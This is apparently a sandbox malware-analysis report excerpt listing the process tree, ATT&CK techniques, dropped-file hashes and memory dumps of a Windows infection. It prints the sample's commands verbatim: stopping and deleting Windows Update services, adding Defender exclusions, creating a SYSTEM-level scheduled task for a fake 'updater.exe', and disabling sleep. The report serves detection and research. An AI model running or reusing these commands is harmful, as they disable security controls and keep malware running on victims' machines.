PID:5088

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:940

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:548

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:444

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:5084

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1032

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:1676

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1896

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:2016

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:1908

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:2288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:5032

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:840

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1592

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1088

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2592

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
3⤵
PID:2864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1580

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:1136

C:\Windows\System32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:2176

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1912

C:\Windows\System32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3180

C:\Windows\System32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:192

C:\Windows\System32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1272

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:720

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:356

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:1664

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:5108

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:3828

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:1088

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:2172

C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:1792

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:4420

C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:3500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1868

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe zuhwtyqtfkk
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:684

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:436

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
3⤵
- Modifies data under HKEY_USERS
PID:2752

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:1756

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3112

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:4788

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4620

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1760

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:1032

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Program Files\Notepad\Chrome\updater.exe
Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Program Files\Notepad\Chrome\updater.exe
Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
fadf033564396763740e5d69a68eadb7

SHA1
07f4ff7bbda7fdc3c2f98b175e5f1cd4e527af9c

SHA256
61bf53fc23684321059c54111dc80389d2f15db28a4af37590a9bc4d2ed610ce

SHA512
ea9e325ecf8dca06acfb62c87802f7164c46c045994bd5da5d30e7c03505c97ec939b209f46ad3b1fd1c73dd7073bf4fc9df66fc2a9a0d305fa12a2a5af92cec

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
0025ca80f0cf67d77b9a1314ac1f20c2

SHA1
86d66396a19d3748b42fc9ffb26641b87e422300

SHA256
221f3fa834522a2d8965ad81adc5451d75969051c0aa7ed53e793ef28e04a6ae

SHA512
12a5ef9778397d522300e0ba636ed9f014d0bc1e9e575cdb04392ab8b93e01ebba0c707c3ea85566a97f3a3910a14e1f3cc665645284d486005c6d574f1f4948

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\346939869283
Filesize
71KB

MD5
2a2fa262a12fc836e621267a305be465

SHA1
8d872c6887fd043687dd3a7ece86cfb51a482bba

SHA256
eea14901a40d184c49389672c988bc007054d76bb14b06ef72358c574700a66b

SHA512
ab30a799fa0253727b8591be436ca3da541f7751a888c3375373de3abc2a2208b3950298fa4886df8264c6314742557857b80fdf47a8c9c205c3ce29f273519b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Player3.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Player3.exe
Filesize
244KB

MD5
43a3e1c9723e124a9b495cd474a05dcb

SHA1
d293f427eaa8efc18bb8929a9f54fb61e03bdd89

SHA256
619bbbc9e9ddd1f6b7961cacb33d99c8f558499a33751b28d91085aab8cb95ab

SHA512
6717d6be0f25d66ba3689b703b9f1360c172138faa0172168c531f55eb217050c03a41396b7a440e899974d71c2f42b41d07db0ef97751c420facfae1550bfa7

Download Submit
C:\Users\Admin\AppData\Local\Temp\XandETC.exe
Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\XandETC.exe
Filesize
3.7MB

MD5
3006b49f3a30a80bb85074c279acc7df

SHA1
728a7a867d13ad0034c29283939d94f0df6c19df

SHA256
f283b4c0ad4a902e1cb64201742ca4c5118f275e7b911a7dafda1ef01b825280

SHA512
e8fc5791892d7f08af5a33462a11d39d29b5e86a62cbf135b12e71f2fcaaa48d40d5e3238f64e17a2f126bcfb9d70553a02d30dc60a89f1089b2c1e7465105dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_frpk0f0h.a32.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\ss31.exe
Filesize
314KB

MD5
dc92b8045d44cd6841d54716a677aaf9

SHA1
ca82c1d5c768e6cd39cc4a8d25e274d55b03bd2f

SHA256
f57cbf96e67c31e5a568f06589647fcd54310a96ec62853400a69b462967e96b

SHA512
cbf9ba9b78e442c918c5f220b5609191d39a18145dbf4a7527162fdc60ad8378d5fdb9f34487d7c589bca98eed6956f5064910ee57453555bf9df5b5cdf538ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\ss31.exe
Filesize
314KB

MD5
dc92b8045d44cd6841d54716a677aaf9

SHA1
ca82c1d5c768e6cd39cc4a8d25e274d55b03bd2f

SHA256
f57cbf96e67c31e5a568f06589647fcd54310a96ec62853400a69b462967e96b

SHA512
cbf9ba9b78e442c918c5f220b5609191d39a18145dbf4a7527162fdc60ad8378d5fdb9f34487d7c589bca98eed6956f5064910ee57453555bf9df5b5cdf538ca

Download Submit
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll
Filesize
89KB

MD5
d3074d3a19629c3c6a533c86733e044e

SHA1
5b15823311f97036dbaf4a3418c6f50ffade0eb9

SHA256
b1f486289739badf85c2266b7c2bbbc6c620b05a6084081d09d0911c51f7c401

SHA512
7dd731fd26085d2a4f3963acd758a42a457e355117b50478bc053180cb189f5f3428806e29d29adfb96370067ff45e36950842de18b658524b72019027be62cf

Download Submit
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll
Filesize
89KB

MD5
d3074d3a19629c3c6a533c86733e044e

SHA1
5b15823311f97036dbaf4a3418c6f50ffade0eb9

SHA256
b1f486289739badf85c2266b7c2bbbc6c620b05a6084081d09d0911c51f7c401

SHA512
7dd731fd26085d2a4f3963acd758a42a457e355117b50478bc053180cb189f5f3428806e29d29adfb96370067ff45e36950842de18b658524b72019027be62cf

Download Submit
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
Filesize
1.0MB

MD5
2c4e958144bd089aa93a564721ed28bb

SHA1
38ef85f66b7fdc293661e91ba69f31598c5b5919

SHA256
b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855

SHA512
a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6

Download Submit
C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
Filesize
1.0MB

MD5
2c4e958144bd089aa93a564721ed28bb

SHA1
38ef85f66b7fdc293661e91ba69f31598c5b5919

SHA256
b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855

SHA512
a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
573d77d4e77a445f5db769812a0be865

SHA1
7473d15ef2d3c6894edefd472f411c8e3209a99c

SHA256
5ec3f268845a50e309ae0d80bcee4f4dd4cd1b279ab1e64b523a057c11074f1c

SHA512
af2422a9790a91cdcbe39e6ef6d17899c2cbd4159b1b71ac56f633015068d3afc678fcef34892575bf59bdf7d5914ec6070864940d44130263fe84e28abba2dc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
631f4b3792b263fdda6b265e93be4747

SHA1
1d6916097d419198bfdf78530d59d0d9f3e12d45

SHA256
4e68d2d067c5680a2e55853ac58b16f199b09f1b9e5f2174605fff18da828976

SHA512
e0280041c4ca63971ab2524f25d2047820f031c1b4aeb6021a3367297045ddf6616ffccafb54630eb07fd154571d844329ebcc34d6ce64834cb77cba373e4fbe

Download Submit
\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll
Filesize
89KB

MD5
d3074d3a19629c3c6a533c86733e044e

SHA1
5b15823311f97036dbaf4a3418c6f50ffade0eb9

SHA256
b1f486289739badf85c2266b7c2bbbc6c620b05a6084081d09d0911c51f7c401

SHA512
7dd731fd26085d2a4f3963acd758a42a457e355117b50478bc053180cb189f5f3428806e29d29adfb96370067ff45e36950842de18b658524b72019027be62cf

Download Submit
\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
Filesize
1.0MB

MD5
2c4e958144bd089aa93a564721ed28bb

SHA1
38ef85f66b7fdc293661e91ba69f31598c5b5919

SHA256
b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855

SHA512
a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6

Download Submit
\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll
Filesize
1.0MB

MD5
2c4e958144bd089aa93a564721ed28bb

SHA1
38ef85f66b7fdc293661e91ba69f31598c5b5919

SHA256
b597b1c638ae81f03ec4baafa68dda316d57e6398fe095a58ecc89e8bcc61855

SHA512
a0e3b82bbb458018e368cb921ed57d3720945e7e7f779c85103370a1ae65ff0120e1b5bad399b9315be5c3e970795734c8a82baf3783154408be635b860ee9e6

Download Submit
memory/684-759-0x00007FF60D5A0000-0x00007FF60D5B6000-memory.dmp

Filesize
88KB

Download
memory/1580-335-0x0000016B2B770000-0x0000016B2B78C000-memory.dmp

Filesize
112KB

Download
memory/1580-455-0x0000016B2B4E0000-0x0000016B2B4F0000-memory.dmp

Filesize
64KB

Download
memory/1580-317-0x0000016B2B4E0000-0x0000016B2B4F0000-memory.dmp

Filesize
64KB

Download
memory/1580-318-0x0000016B2B4E0000-0x0000016B2B4F0000-memory.dmp

Filesize
64KB

Download
memory/1580-454-0x0000016B2B4E0000-0x0000016B2B4F0000-memory.dmp

Filesize
64KB

Download
memory/1580-342-0x00007FF699D70000-0x00007FF699D80000-memory.dmp

Filesize
64KB

Download
memory/1580-376-0x0000016B2B760000-0x0000016B2B76A000-memory.dmp

Filesize
40KB

Download
memory/1580-341-0x0000016B2BC80000-0x0000016B2BD39000-memory.dmp

Filesize
740KB

Download
memory/1868-711-0x0000029F00F70000-0x0000029F00F8C000-memory.dmp

Filesize
112KB

Download
memory/1868-491-0x0000029F7F160000-0x0000029F7F170000-memory.dmp

Filesize
64KB

Download
memory/1868-736-0x0000029F7F160000-0x0000029F7F170000-memory.dmp

Filesize
64KB

Download
memory/1868-735-0x0000029F7F160000-0x0000029F7F170000-memory.dmp

Filesize
64KB

Download
memory/1868-588-0x0000029F7F160000-0x0000029F7F170000-memory.dmp

Filesize
64KB

Download
memory/1868-587-0x00007FF699410000-0x00007FF699420000-memory.dmp

Filesize
64KB

Download
memory/1868-488-0x0000029F7F160000-0x0000029F7F170000-memory.dmp

Filesize
64KB

Download
memory/2460-255-0x00007FF7B49E0000-0x00007FF7B4D9D000-memory.dmp

Filesize
3.7MB

Download
memory/2460-155-0x00007FF7B49E0000-0x00007FF7B4D9D000-memory.dmp

Filesize
3.7MB

Download
memory/2592-278-0x0000028CACA30000-0x0000028CACA40000-memory.dmp

Filesize
64KB

Download
memory/2592-275-0x0000028CACA30000-0x0000028CACA40000-memory.dmp

Filesize
64KB

Download
memory/3112-761-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3112-754-0x0000024BE8640000-0x0000024BE8660000-memory.dmp

Filesize
128KB

Download
memory/3112-763-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3112-764-0x0000024C7B240000-0x0000024C7B260000-memory.dmp

Filesize
128KB

Download
memory/3112-766-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3112-760-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3112-767-0x0000024C7B240000-0x0000024C7B260000-memory.dmp

Filesize
128KB

Download
memory/3112-769-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3112-758-0x0000024C7AA80000-0x0000024C7AAC0000-memory.dmp

Filesize
256KB

Download
memory/3112-772-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3112-755-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp

Filesize
8.0MB

Download
memory/3828-177-0x0000020D763D0000-0x0000020D763E0000-memory.dmp

Filesize
64KB

Download
memory/3828-164-0x0000020D763A0000-0x0000020D763C2000-memory.dmp

Filesize
136KB

Download
memory/3828-167-0x0000020D76660000-0x0000020D766D6000-memory.dmp

Filesize
472KB

Download
memory/3828-176-0x0000020D763D0000-0x0000020D763E0000-memory.dmp

Filesize
64KB

Download
memory/3828-203-0x0000020D763D0000-0x0000020D763E0000-memory.dmp

Filesize
64KB

Download
memory/4620-753-0x00007FF78E8D0000-0x00007FF78EC8D000-memory.dmp

Filesize
3.7MB

Download
memory/4620-305-0x00007FF78E8D0000-0x00007FF78EC8D000-memory.dmp

Filesize
3.7MB

Download
memory/4744-154-0x0000000002800000-0x0000000002934000-memory.dmp

Filesize
1.2MB

Download
memory/4744-153-0x0000000002680000-0x00000000027F3000-memory.dmp

Filesize
1.4MB

Download
memory/5040-231-0x000002AE26650000-0x000002AE26660000-memory.dmp

Filesize
64KB

Download
memory/5040-232-0x000002AE26650000-0x000002AE26660000-memory.dmp

Filesize
64KB

Download
